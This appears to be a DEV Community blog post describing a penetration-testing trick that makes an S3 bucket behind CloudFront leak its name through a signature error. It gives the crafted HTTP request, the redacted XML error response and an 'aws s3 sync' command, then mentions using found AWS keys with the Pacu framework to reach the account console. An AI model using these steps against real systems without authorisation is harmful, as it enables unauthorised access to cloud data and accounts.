DEV Community

Cover image for Always keep this hacking technique in mind: how to enumerate AWS S3 Buckets behind a CDN
Blue Byte
Blue Byte

Posted on • Edited on

Always keep this hacking technique in mind: how to enumerate AWS S3 Buckets behind a CDN

Imagine that during an engagement you come across a static website, with only an image on the home page and standard files from a frontend framework. You have already reviewed them and found no sensitive information, no route or anything relevant. You have also found (maybe while analyzing HTTP headers) that the server is behind the Cloudfront CDN. End of the line, right?

Or maybe not...

Also imagine that, by intuition, you suspect that there is an AWS S3 bucket behind the CDN, serving static files. The problem is that you don't have the name of this bucket to be able to test it.

Image description

The good news is that by causing signature inconsistencies and causing errors in handling requests, the server can leak this information.

POST / HTTP/2
Host: flow.redacted.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

logging=1
Enter fullscreen mode Exit fullscreen mode

Another possibility is to pass ?X-Amz-Signature (without a value) or X-Amz-Date:AAAA at the end of the URL. When sending the above request, the response received was something like:

<?xml version="1.0" encoding="UTF-8"?>
<Error>
    <Code>SignatureDoesNotMatch</Code>
    <Message>The request signature we calculated does not match the signature you provided. Check your key and signing method.</Message>
    <AWSAccessKeyId>REDACTED</AWSAccessKeyId>

    <StringToSign>
        POST 

        application/x-www-form-urlencoded

        x-amz-date:REDACTED
        /redacted-bucket-name/index.htm?logging
    </StringToSign>

    <SignatureProvided>REDACTED</SignatureProvided>
    <StringToSignBytes>REDACTED</StringToSignBytes>
    <RequestId>REDACTED</RequestId>
    <HostId>REDACTED</HostId>
</Error>
Enter fullscreen mode Exit fullscreen mode

And no, this bucket was not "fully exposed", but it was configured so that any authenticated user (from any account) on AWS could access it.

aws s3 sync s3://redacted-bucket-name .
Enter fullscreen mode Exit fullscreen mode

From then on some of juicy info was found! After obtaining the AWS keys (a process that I will not describe here, but I can only say that it is sad when they are in files inside a public bucket), with the console command in the Pacu framework it is possible to access the account in the browser.

Image description

And this was another case of a security misconfiguration gone terrible!

Top comments (0)